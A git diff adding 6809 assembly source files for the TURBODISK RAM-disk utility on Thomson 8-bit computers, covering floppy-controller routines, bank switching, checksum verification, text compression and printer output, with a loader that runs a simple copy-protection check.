+       CMPA   #$5A    Z
+       BLS    VAR0
+       CMPA   #$61    a
+       BLO    AUTPAR
+       CMPA   #$7A    z
+       BHI    AUTPAR
+       SUBA   #$20
+VAR0   SUBA   #$41
+       STA    ,Y
+       ASLA
+       ASLA
+       ASLA
+       SUBA   ,Y
+       LDU    #$6A58
+       TFR    A,B
+       CLRA
+       LEAU   D,U
+       LDB    ,U
+       STB    ,Y
+       BRA    PAR0
+
+AUTPAR CMPA   #$2C
+       BNE    SORPAR
+       LEAY   1,Y
+       CMPY   #PARA4
+       BHI    SORPAR
+       CLRB
+       BRA    PAR0
+
+SORPAR LEAX   -1,X
+       PULS   U,Y,PC
+
+PTEL   PSHS   U,Y,X,DP,B,A,CC
+       LDD    #$1003
+       STA    $624B
+       JSR    $EC0C
+       LDX    #$A000
+       TFR    X,Y
+       CLR    ,Y+
+       CLR    ,Y+
+       LDA    #$61
+       TFR    A,DP
+INPUT  LDB    #5
+       JSR    $EC0C
+       LDA    $6AD6
+       BNE    PT1
+PT0    LDA    $E7FE
+       BITA   #2
+       BEQ    PT0
+       LDA    <$96
+       STA    $E7FF
+       BRA    PT2
+PT1    LDA    <$96
+       STA    ,Y+
+       CMPY   #$DFFF
+       BHI    CPTEL
+PT2    TST    <$78
+       BEQ    INPUT
+CPTEL  LEAY   -1,Y
+       LDB    #6
+       JSR    $EC0C
+       LDA    $6AD6
+       BEQ    FPTEL
+       CMPA   #2
+       BEQ    COMBLE
+       LDB    #$FF
+       STB    ,Y+
+PT3    LDB    ,X+
+       BMI    FPTEL
+       CMPB   #19
+       BNE    PT4
+       LDB    #22
+PT4    JSR    $E803
+       BRA    PT3
+FPTEL  PULS   U,Y,X,DP,B,A,CC,PC
+
+TEL    PSHS   U,Y,X,DP,B,A,CC
+COMBLE LDD    #$1B3A
+       STD    ,Y++
+       LDD    #$6AFE
+       STD    ,Y++
+       LDD    #$E7FD
+       TFR    A,DP
+       STB    <$C2
+       TFR    X,U
+       LBSR   ROUT1
+       LDX    #$1000
+TEMP1  LEAX   -1,X
+       BNE    TEMP1
+       CLRB
+       ORCC   #$50
+TOMI0  LDA    #$07
+       STA    ,S
+       BSR    ROUT1
+       LDX    #$0333
+       STX    <$C6
+       LDA    #$A2
+       STA    <$C5
+       CLRA
+       BSR    ROUT2
+TOMI1  LSRB
+       BCC    TOMI2
+       BSR    ROUT1
+       INCA
+       BRA    TOMI3
+TOMI2  BSR    ROUT2
+TOMI3  DEC    ,S
+       BNE    TOMI1
+       BITA   #$01
+       BNE    TOMI4
+       BSR    ROUT2
+       BRA    TOMI5
+TOMI4  BSR    ROUT1
+TOMI5  LDB    ,U+
+       BPL    TOMI0
+       PULS   CC,A,B,DP,X,Y,U,PC
+
+ROUT1  PSHS   X,A
+       LDA    <$C5
+       ORA    #$80
+       BRA    TOMI6
+ROUT2  PSHS   X,A
+       LDA    <$C5
+       ANDA   #$7F
+       BRA    TOMI6
+TOMI6  STA    <$C5
+       LDX    #$0061
+TEMP2  LEAX   -1,X
+       BNE    TEMP2
+       PULS   A,X,PC
+
+CHERCH PSHS   A,B,DP,CC,X,Y,U
+       LDX    TAMPON
+       STX    VAL+1
+       LDY    #$A002
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$10
+CH0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+CH1    LDX    ,U
+VAL    CMPX   #$0000  VALEUR CHERCHEE
+       BNE    CH2
+       LDX    2,U
+       STX    POKE
+       LDX    4,U
+       STX    POKE+2
+       LDX    6,U
+       STX    POKE+4
+       PSHS   A,B
+       PSHS   U
+       EXG    A,DP
+       STA    $E7E5
+       EXG    DP,A
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    ,Y++
+       LDD    POKE
+       STD    ,Y++
+       LDD    POKE+2
+       STD    ,Y++
+       LDA    POKE+4
+       CLRB
+       STD    ,Y++
+       PULS   U
+       PULS   A,B
+       STA    $E7E5
+CH2    LEAU   128,U
+       INCB
+       BNE    CH1
+       INCA
+       CMPA   #$20
+       BLO    CH0
+CH3    TFR    DP,A
+       STA    $E7E5
+       LEAX   ,Y
+       STX    LIMTR1+2
+       LEAX   -8,X
+       STX    LIMTR0+1
+       LEAX   -$A002,Y
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STD    $A000
+       CMPD   #$0002
+       BLO    TRI4
+       LDX    VAL+1
+       BEQ    TRI4
+       LDX    #$A002
+TRI0   LEAY   8,X
+TRI1   LDB    #4
+TRI2   LDA    B,X
+       CMPA   B,Y
+       BHI    PERM
+       BLO    TRI3
+       INCB
+       CMPB   #7
+       BLO    TRI2
+       BRA    TRI3
+PERM   LDB    #6
+PERM0  LDA    B,X
+       TFR    A,DP
+       LDA    B,Y
+       STA    B,X
+       TFR    DP,A
+       STA    B,Y
+       DECB
+       BPL    PERM0
+TRI3   LEAY   8,Y
+LIMTR1 CMPY   #$0000
+       BLO    TRI1
+       LEAX   8,X
+LIMTR0 CMPX   #$0000
+       BLO    TRI0
+TRI4   PULS   A,B,DP,CC,X,Y,U,PC
+
+SAUV   PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDX    #$FFFF
+       LDY    #POKE
+       STX    ,Y
+       STX    2,Y
+       LDA    #$10
+EC0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+EC1    LDX    ,U
+       CMPX   #$0000  VALEUR VIDE
+       BNE    EC6
+       PSHS   A,B,U
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    4,Y
+       SUBA   $6052
+       BPL    EC2
+       NEGA
+EC2    STA    6,Y
+       CMPA   2,Y
+       BHI    EC5
+       BEQ    EC3
+       LDA    #$FF
+       STA    3,Y
+EC3    LDA    4,Y
+       SUBA   #20
+       BPL    EC4
+       NEGA
+EC4    STA    7,Y
+       CMPA   3,Y
+       BHS    EC5
+       LDX    4,Y
+       STX    ,Y
+       LDX    6,Y
+       STX    2,Y
+EC5    PULS   A,B,U
+EC6    LEAU   128,U
+       INCB
+       BNE    EC1
+       INCA
+       CMPA   #$20
+       BLO    EC0
+       TFR    DP,A
+       STA    $E7E5
+       CLR    TAMPON
+       LDD    ,Y
+       LSRB
+       BCC    EC7
+       COM    TAMPON
+EC7    INCB
+       STD    $604B
+       BRA    EC8
+
+COMPAC PSHS   A,B,DP,CC,X,Y,U
+EC8    LDD    $604B
+       CMPA   #63
+       LBHI   COMP2
+       DECB
+       CMPB   #15
+       LBHI   COMP2
+       LDY    #POKE
+       STY    $604F
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       JSR    $E004
+       LBSR   HORPLU
+       LDD    #$2804
+       PSHS   A
+       LDX    #TAMPON
+       LDA    ,X+
+       BEQ    COMP0
+       LEAY   128,Y
+COMP0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COMP0
+       LDD    $607D
+       SUBB   #90
+       CMPB   #10
+       BLO    DAT0
+       ADDB   #100
+DAT0   LSLA
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       STB    ,Y+
+       LDA    $607C
+       LDB    HEURE
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LDA    MINUT
+       LSLA
+       LSLA
+       LSLB
+       PSHS   CC
+       LSLB
+       RORA
+       PULS   CC
+       RORA
+       STA    ,Y+
+COMP1  LDA    ,X+
+       SUBA   #$20
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STB    ,Y+
+       DEC    ,S
+       BNE    COMP1
+       PULS   B
+       LDD    #$0801
+       STD    $6048
+       LDX    #POKE
+       STX    $604F
+       JSR    $E004
+       LDD    #$0482
+       STA    $6049
+       JSR    $E004
+       STB    $60CD
+       BRA    COMP3
+COMP2  LDA    #$FF
+       STA    $604E
+COMP3  BSR    DIROK
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+DIROK  LDY    #$C000
+       LDD    #$0820
+DIR0   STB    ,Y+
+       DECA
+       BNE    DIR0
+       RTS
+
+DECOMP PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$0F
+       STA    $E7E5
+       LDD    $604B
+       CMPA   #63
+       LBHI   DECO2
+       DECB
+       CMPB   #15
+       LBHI   DECO2
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       LDX    #TAMPON+1
+       STX    $604F
+       JSR    $E004
+       TST    $604E
+       LBNE   DECO3
+       BSR    DIROK
+       LDD    #$2804
+       PSHS   A
+       LDA    TAMPON
+       BEQ    DECO0
+       LEAX   128,X
+DECO0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    DECO0
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ADDA   #90
+       CMPA   #100
+       BLO    DAT2
+       SUBA   #100
+DAT2   STA    ,Y+
+       LDA    ,X+
+       ANDA   #$0F
+       STA    ,Y+
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #7
+       LDB    ,X
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #$3F
+       STA    ,Y+
+DECO1  LDA    ,X
+       LSRA
+       RORB
+       LSRA
+       RORB
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X+
+       ANDA   #3
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X++
+       ANDA   #15
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       LSRB
+       LSRB
+       ADDB   #$20
+       STD    ,Y++
+       DEC    ,S
+       BNE    DECO1
+       TFR    DP,A
+       STA    $E7E5
+       PULS   A
+       BRA    DECO3
+DECO2  LDA    #$FF
+       STA    $604E
+DECO3  LDA    #$82
+       STA    $60CD
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS   A,B,DP,CC,X,Y,U
+       LDA    #5
+       STA    $E7E5
+       LDD    $6AB2
+       CMPD   #0053
+       LBHI   FAFF5
+       LDA    #2
+       MUL
+       STD    $6AB2
+       LDA    #2
+       LDX    #$A000
+       LBSR   PREPA5
+       INC    $6AB3
+       LDA    #2
+       LDX    #$A200
+       LBSR   PREPA5
+       LDX    #$A000
+       LDY    #$A400
+       LDD    #0
+       STD    ,Y++
+       STD    ,Y++
+       LDD    #$0C14
+       STD    ,Y++
+       LDA    #25
+       STA    LIGNE
+NOUVLI DEC    LIGNE
+       BEQ    PRINT5
+       LDA    #40
+       STA    COLON
+OCTSUI LDA    ,X+
+       CMPX   #$A400
+       BHI    PRINT5
+       CMPA   #$0D
+       BNE    ESTAFF
+       LDB    ,X+
+       DEC    COLON
+       BMI    NOUVLI
+AFFD   LDD    #$0D0A
+       STD    ,Y++
+       BRA    NOUVLI
+ESTAFF CMPA   #32
+       BLO    OCTSUI
+       CMPA   #128
+       BLO    OCTAFF
+       CMPA   #161
+       BHI    OCTSUI
+       SUBA   #128
+       LDB    #3
+       MUL
+       LDU    #TABPC
+       LEAU   B,U
+       LDD    ,U++
+       STD    ,Y++
+       LDA    ,U
+OCTAFF DEC    COLON
+       BMI    OCTSUI
+       STA    ,Y+
+       BRA    OCTSUI
+
+PRINT5 LDU    #$A400
+       LDD    #$1F41
+       STA    -1,Y
+       STB    ,Y+
+       STB    ,Y+
+       LDA    $6AD6
+       CMPA   #1
+       LBEQ   COMBLE
+       LDB    #255
+       STB    ,Y++
+       TSTA
+       BNE    ECRAN
+ATTMOD LDA    $E7FE
+       BITA   #2
+       BEQ    ATTMOD
+       LDA    ,U+
+       BEQ    ATTMOD
+       BMI    FAFF5
+       STA    $E7FF
+       BRA    ATTMOD
+ECRAN  LDB    ,U+
+       BEQ    ECRAN
+       BMI    FAFF5
+       CMPB   #$13
+       BNE    ECOK
+       LDB    #$16
+ECOK   JSR    $E803
+       BRA    ECRAN
+
+FAFF5  PULS   A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA    $6048
+       STX    $604F
+       LDX    $6AB2
+       BMI    PB5
+       CMPX   #719
+       BHI    PB5
+       LDA    #2
+       STA    LIGNE
+AGIR5  LDA    #$D4
+       STA    $E7E7
+       LDX    $E000
+       CMPX   #$444B
+       BEQ    OK5
+       LDA    #$54
+       STA    $E7E7
+PB5    LDX    #$FFFF
+       STX    $6AB2
+       LEAS   2,S
+       PULS   A,B,DP,CC,X,Y,U,PC
+OK5    LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDX    $6AB2
+       LDA    #$FF
+TEST5  INCA
+       LEAX   -9,X
+       CMPX   #0
+       BPL    TEST5
+       LEAX   10,X
+       STX    $604B
+       PSHS   A
+       ANDA   #1
+       STA    $6049
+       PULS   A
+       LSRA
+       STA    $604B
+       JSR    $E004
+       LDA    #$54
+       STA    $E7E7
+       LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDA    $604E
+       BEQ    SOROK5
+       DEC    LIGNE
+       BEQ    SPB5
+       LDA    $6048
+       LDB    $6052
+       PSHS   A,B
+       CLR    $6052
+       CLR    $6054
+       LDD    #$D420
+       STA    $E7E7
+       STB    $6048
+       JSR    $E004
+       LDD    #$5401
+       STB    $6048
+       JSR    $E004
+       STA    $E7E7
+       PULS   A,B
+       STA    $6048
+       STB    $6052
+       LBRA   AGIR5
+SPB5   LDX    #999
+       STX    $6AB2
+SOROK5 RTS
+
+LIRE5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #2
+       LDX    #$9800
+       LBSR   PREPA5
+       LDD    #$0804
+       STD    $6048
+       LDD    #$1401
+       STD    $604B
+       JSR    $E004
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+ECRI5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #8
+       LDX    #$9800
+       LBSR   PREPA5
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+LIGNE  FCB    0
+COLON  FCB    0
+
+SAVPTR FCB    0,0
+
+PARA1  FCB    0
+PARA2  FCB    0
+PARA3  FCB    0
+PARA4  FCB    0
+
+TABPC  FCB    $1B,$48,32,$13,$48,$75
+       FCB    $13,$42,$65,$13,$43,$61
+       FCB    $13,$48,$61,$13,$41,$61
+       FCB    0,32,0,$13,$4B,$63
+       FCB    $13,$43,$65,$13,$48,$65
+       FCB    $13,$41,$65,$13,$48,$69
+       FCB    $13,$43,$69,$1B,$5D,32
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $1B,$4C,32,$1B,$4D,32
+       FCB    $13,$43,$6F,$13,$48,$6F
+       FCB    $13,$41,$6F,$13,$43,$75
+       FCB    $13,$41,$75,0,32,0,0,32,0
+       FCB    0,32,0,$1B,$49,32,22,23,0
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $13,$42,$61,$1B,$5C,32
+
+TABLE  FCB    62,63,60,61,58,59,56,57
+       FCB    54,55,52,53,50,51,48,49
+       FCB    46,47,44,45,42,43,40,41
+       FCB    38,39,36,37,34,35,32,33
+       FCB    30,31,28,29,26,27,24,25
+       FCB    22,23,19,21,17,18,15,16
+       FCB    13,14,11,12,9,10,7,8
+       FCB    5,6,3,4,1,2,20,0
+
+ZONE   FCB    $3B,$3A,$AA,$26,$48,$38
+       FCB    $38,$30,$30,$2C,0
+
+       FCB    $3A,$AB,$23,$22,0
+
+       FCB    $23,$31,$2C,$22,0
+
+       FCB    $22,$3B,$3A,$AB,$23,$23,0
+
+POKE   RMB    300
+
+FIN    FCB    0
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM
new file mode 100644
index 0000000..1b7dd35
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/NEWLANC.ASM
@@ -0,0 +1,177 @@
+***************************************
+*                                     *
+* *     *   *   *  **  **** *  * ***  *
+* *    * *  **  * *  * *    *  * *  * *
+* *   ***** * * * *    ***  *  * ***  *
+* *   *   * *  ** *  * *    *  * * *  *
+* *** *   * *   *  **  ****  **  *  * *
+*                                     *
+***************************************
+*                                     *
+* ***** *   * ****  ****   ***        *
+*   *   *   * *   * *   * *   *   *   *
+*   *   *   * *   * *   * *   *   *   *
+*   *   *   * ****  ****  *   * ***** *
+*   *   *   * *   * *   * *   *   *   *
+*   *   *   * *   * *   * *   *   *   *
+*   *    ***  *   * ****   ***        *
+*                                     *
+***************************************
+* LANCEUR de TURBO+ (TURBODISK v 2.1) *
+* par Michel SAINT-BRIANT - ASCI/1992 *
+***************************************
+
+COMPT  EQU    FIN+4   COMPTEUR
+NESSAI EQU    FIN+5   NBRE D'ESSAIS
+SAVEX  EQU    FIN+6
+
+       ORG    $8000
+
+       LDX    #MESSEN
+AFF0   LDB    ,X+
+       BEQ    AFF1
+       JSR    $E803
+       BRA    AFF0
+AFF1   LDX    #$6202
+       LEAY   ,X++
+AFF2   LDB    ,X+
+       LEAY   B,Y
+       JSR    $E803
+       CMPX   #$627F
+       BNE    AFF2
+       PSHS   Y
+       LDD    $62FD   FACE/PISTE
+       DECA
+       BNE    ADR01
+       INCB
+       BRA    ADR02
+ADR01  LDA    #$01
+ADR02  STA    $6049
+       STB    $604B
+       LDA    $62FA   BANK1
+       STA    $E7E5
+       JSR    $E09D
+       JSR    $E0A7
+       JSR    $E452
+       JSR    $E341
+       LDB    #$18
+       JSR    $E394
+NBANK  LDA    #$03    1 BANK=3 PISTES
+       STA    COMPT
+       INC    $E7E5
+       LDX    #$A000
+       STX    SAVEX   ON SAUVE L'ADRESSE
+NPIST  JSR    $E09D
+       DEC    <$49    NOUVELLE PISTE
+       BEQ    ADR03
+       DEC    <$4B
+       LDD    #$4001
+       STD    <$48
+       JSR    $E0A7
+       JSR    $E47D
+ADR03  LDA    #$08
+       STA    NESSAI
+       LDX    SAVEX   ON DECALE L'ADRES-
+       LEAX   $1556,X SE DE 1/3 BANK
+       STX    COMP+1
+DEMAR  JSR    $E09D   INITIALISATION DU
+       JSR    $E0A7   CONTROLEUR
+       JSR    $E47D
+       JSR    $E341
+       LDB    #$18
+       JSR    $E394
+       LDA    #$E7
+       TFR    A,DP
+       LDY    ,S
+ADR04  LDA    <$D1
+       BITA   #$40
+       BEQ    ADR04
+ADR05  LDA    <$D3
+       LDA    <$D0
+       BPL    ADR05
+ADR06  LDA    <$D0
+       BPL    ADR06
+LIRE   LDA    <$D3    LECTURE
+ADR16  LDA    <$D0
+       BPL    ADR16
+       BITA   #$01
+       BNE    LIRE
+       CLRB
+       LDX    SAVEX
+       LDA    <$D3
+ADR17  LDA    <$D0
+       BPL    ADR17
+       LDA    <$D3
+       CMPA   #$FB
+       BEQ    ADR18
+       DECB
+       BNE    ADR17
+       BRA    ERROR
+ADR18  LDA    <$D0
+       BPL    ADR18
+       LDA    <$D3
+       STA    ,X+
+       LEAY   A,Y
+COMP   CMPX   #$E002
+       BNE    ADR18
+       TFR    Y,D
+ADR19  TST    <$D0
+       BPL    ADR19
+       CMPA   <$D3
+       BNE    ERROR
+ADR20  TST    <$D0
+       BPL    ADR20
+       CMPB   <$D3
+       BEQ    ADR21
+ERROR  DEC    NESSAI
+       LBNE   DEMAR
+       TST    ,S
+       BNE    ILLIC
+       TST    1,S
+       BNE    ILLIC
+       LDX    #MESSPB
+       BRA    IMPENC
+ILLIC  LDX    #MESSIL
+IMPENC LDB    ,X+
+       JSR    $E803
+       BNE    IMPENC
+BSF    BRA    BSF
+ADR21  LDX    #COMP+1
+       STX    SAVEX
+       DEC    COMPT
+       LBNE   NPIST
+       DEC    $62FB   NBBANK
+       LBNE   NBANK
+       CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       PULS   X
+       CMPX   #0
+       LBEQ   PALETT
+       BRA    ILLIC
+
+MESSEN FCB    $1B,$40,$1B,$57,$1B,$67,12
+       FCC    #TURBODISK version 2.#
+       FCC    #1 A.S.C.I. Copyright#
+       FCB    10,10
+       FCC    #Licence d'utilisatio#
+       FCC    #n no #
+       FCB    0
+
+MESSPB FCB    12
+       FCC    #Disquette illisible#
+       FCB    0
+MESSIL FCB    12
+       FCC    #Copie illicite#
+       FCB    0
+
+FIN    FCC    #012#
+
+PALETT LDX    #$62D8
+       LDA    ,X+
+       CMPA   #$FF
+       BNE    NONPAL
+       JSR    $EC00
+NONPAL NOP
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM
new file mode 100644
index 0000000..cb3d36e
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/TD1ORIG.ASM
@@ -0,0 +1,233 @@
+*************
+*
+* TURBODISK 1 RESSOURCé
+*
+*************
+
+       ORG    $8000
+
+DEBUT  LDX    #$6200
+       LDU    #DEBUT
+       STU    $604F
+COP0   LDD    ,X++
+       STD    ,U++
+       CMPU   #DEBUT+256
+       BCS    COP0
+       LDD    #$0208
+       STA    $6048
+       BSR    LITSEC
+       LDB    #$06
+       BSR    LITSEC
+       LDB    #$04
+       BSR    LITSEC
+       LDB    #$02
+       BSR    LITSEC
+       LDB    #$07
+       BSR    LITSEC
+       LDX    #PARA
+       LDU    #$601A
+COP1   LDA    ,X+
+       BEQ    SUITE
+       STA    ,U+
+       BRA    COP1
+PARA   FCB    $F0,9,$F0,1,$F0,17,19,0
+
+       ORG    $8100
+
+SUITE  LDA    $6019   initialisation du
+       ORA    #$02    clavier pour TO9+
+       STA    $6019   + cartouche AUTO
+       LDB    #$F8
+       JSR    $E806
+       LDA    #$54
+       STA    $E7E7
+       STA    $6081
+       LDX    $6004
+       LDD    CONFIG  F9/FA
+       STA    $60CD
+       BITA   #$08
+       BNE    TD00
+       LEAX   -6,X
+TD00   STX    $6000
+       LEAX    3,X
+       STX    $6002
+       STB    $618C
+       INCB
+       STB    $6047
+       STB    $E7E5
+       INCB
+       ORB    #$20
+       STB    APPBK+1
+       LDD    FACPIS  FD/FE face-piste
+       DECA
+       BNE    TD10
+       INCB
+       BRA    TD20
+TD10   LDA    #$01
+TD20   STA    $6049
+       STB    $604B
+NBANK  LDA    #$03
+       STA    COMPT
+       INC    $E7E5
+       LDX    #$A000
+NPIST  STX    BUFFER+1
+       LEAX   $1556,X
+       STX    COMPAR+1
+       DEC    $6049
+       BEQ    TD30
+       DEC    $604B
+       LDD    #$4001
+       STD    $6048
+TD30   JSR    $E09D
+       JSR    $E0A7
+       JSR    $E45A
+       JSR    $E4A8
+       LDB    ,Y
+       LDA    <$57
+       SUBB   <$4B
+       BEQ    TD60
+       BPL    TD40
+       ORA    #$20
+       NEGB
+TD40   STA     2,X
+TD50   ORA    #$14
+       STA     2,X
+       ANDA   #$EB
+       STA     2,X
+       JSR    $E165
+       DECB
+       BNE    TD50
+TD60   LDY    #$6052
+       LDA    <$49
+       ANDA   #$02
+       LEAY   A,Y
+       LDB    <$4B
+       STB     6,X
+       STB    ,Y
+       JSR    $E341
+       LDB    #$18
+       JSR    $E394
+       LDA    #$E7
+       TFR    A,DP
+TD80   LDA    <$D1
+       BITA   #$40
+       BEQ    TD80
+TD90   LDA    <$D3
+       LDA    <$D0
+       BPL    TD90
+TD100  LDA    <$D0
+       BPL    TD100
+TD110  LDA    <$D3
+TD120  LDA    <$D0
+       BPL    TD120
+       BITA   #$01
+       BNE    TD110
+BUFFER LDX    #$CAAC
+       LDA    <$D3
+TD130  LDA    <$D0
+       BPL    TD130
+       LDA    <$D3
+       CMPA   #$FB
+       BNE    TD130
+TD140  LDA    <$D0
+       BPL    TD140
+       LDA    <$D3
+       STA    ,X+
+COMPAR CMPX   #$E002
+       BNE    TD140
+       CLR    <$D0
+       LDA    #$40
+       STA    <$D2
+       LDX    COMPAR+1
+       DEC    COMPT
+       LBNE   NPIST
+       DEC    NBREBK  FB=nombre de banks
+       LBNE   NBANK
+       LDA    FGLANC  FC=flag de lanceur
+       LBEQ   GORAMD  LANCE RAM-DISK
+       CLR    $6052
+APPBK  LDA    #$28
+       PSHS   A
+       LDA    #$FF
+       STA    $6080
+       STA    $0003
+       LDA    #$60
+       TFR    A,DP
+       JSR    $3FED
+       PULS   A
+       STA    $E7E6
+       LDU    #$0000
+       TFR    U,X
+LA20   LDA    ,U+
+       LEAX   A,X
+       CMPU   #$0020
+       BNE    LA20
+       LEAX   $55,X
+       LDA    $E7C3
+       ORA    #$01
+       STA    $E7C3
+       STX    $5FC1
+       LDU    $001E
+       LDS    #$60CC
+       LDA    #$02
+       STA    $E7E5
+       CLR    $60D1
+       JMP    ,U
+
+
+GORAMD LDA    #$06
+       STA    $E7E5
+       STA    $0001
+       LDX    #$2000
+       LDU    #$A000
+RD2    LDD    ,X++
+       STD    ,U++
+       CMPX   #$4000
+       BNE    RD2
+       LDX    #$0000
+RD3    LDD    ,X++
+       STD    ,U++
+       CMPX   #$2000
+       BNE    RD3
+       LDD    #$1212
+       STA    $C021
+       STD    $C022
+       LDA    #$7A
+       STA    $C026
+       LDD    #$E7E6
+       STD    $C027
+       LDD    #$6301
+       STD    $C19C
+       DEC    $E7E5
+       STA    $0000
+       LDX    #$2000
+       LDU    #$A000
+RD4    LDD    ,X++
+       STD    ,U++
+       CMPX   #$4000
+       BNE    RD4
+       LDX    #$0000
+RD5    LDD    ,X++
+       STD    ,U++
+       CMPX   #$2000
+       BNE    RD5
+       LDA    #$7C
+       STA    $C021
+       LDD    #$E7E6
+       STD    $C022
+       LDD    #$1212
+       STA    $C026
+       STD    $C027
+       LDD    #$847E
+       STA    $AB7D
+       LDA    #$25
+       LDX    #RD7
+       STB    $ABBC
+       STX    $ABBD
+       CLR    $607F
+       CLR    $E7E4
+       STA    $E7E6
+       JMP    $2B52
+RD7    CLR    $E7E6
+       STA    $0000
+       JMP    $2452
diff --git a/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM b/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM
new file mode 100644
index 0000000..120d7d6
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Turbodisk/TURBOPIO.ASM
@@ -0,0 +1,244 @@
+
+
+
+***********************************
+********  TURBODISK  pour  ********
+******** PIO1  Version 1.2 ********
+******** AVEC VERIFICATION ********
+****************************10/10/89*
+
+***********   EQUATES   ***********
+
+FLGEL  EQU    FIN
+FLGERR EQU    FIN+1
+COMPTP EQU    FIN+2
+COMPTB EQU    FIN+3
+DEBZON EQU    FIN+4
+ESSAI  EQU    FIN+6
+FLGCNT EQU    FIN+7
+
+***********   PROGRAM   ***********
+
+       ORG    $8000
+       PSHS   U,Y,X,DP,B,A,CC
+       LDD    #$0114
+       DECA
+       BNE    FACE1
+       INCB
+       BRA    FACE0
+FACE1  LDA    #$01
+FACE0  STA    $6049
+       STB    $604B
+       LDA    #$03    No basic prem.bank
+       STA    $E7E5
+NEXTBK LDA    #$03
+       STA    COMPTP
+       INC    $E7E5
+       LDX    #$A000
+       STX    DEBZON
+NEXTPS DEC    $6049
+       BEQ    INIESS
+       DEC    $604B
+       LDD    #$4001
+       STD    $6048
+INIESS LDA    #4
+       STA    ESSAI
+       CLR    FLGCNT
+       LDX    DEBZON
+       LEAX   $1556,X
+       STX    ECRZON+1,PCR
+       STX    LECZON+1,PCR
+       STX    CNTZON+1,PCR
+NEXTES LBSR   TETE
+       LDY    #0
+ATT0   LDA    <$D1
+       BITA   #$40
+       BEQ    ATT0
+ATT1   LDA    <$D3
+       LDA    <$D0
+       BPL    ATT1
+ATT2   LDA    <$D0
+       BPL    ATT2
+       TST    FLGEL
+       BNE    LECT
+       TST    FLGCNT
+       LBNE   CNTROL
+       LDD    #$4EFF
+       STD    <$D3
+       LDB    #$04
+       STB    <$D0
+       LDB    #$40
+ATT3   LDA    <$D0
+       BPL    ATT3
+       CLR    <$D3
+       DECB
+       BNE    ATT3
+ATT4   LDA    <$D0
+       BPL    ATT4
+       LDD    #$A10A
+       STD    <$D3
+ATT5   LDB    <$D0
+       BPL    ATT5
+       STA    <$D3
+ATT6   LDB    <$D0
+       BPL    ATT6
+       STA    <$D3
+ATT7   LDA    <$D0
+       BPL    ATT7
+       LDD    #$FBFF
+       STD    <$D3
+       LDX    DEBZON
+BECRI  LDB    <$D0
+       BPL    BECRI
+       LDA    ,X+
+       STA    <$D3
+       LEAY   A,Y
+ECRZON CMPX   #$0000
+       BNE    BECRI
+       TFR    Y,D
+       STD    CHKSUM+1,PCR
+ATT8   TST    <$D0
+       BPL    ATT8
+       STA    <$D3
+ATT9   TST    <$D0
+       BPL    ATT9
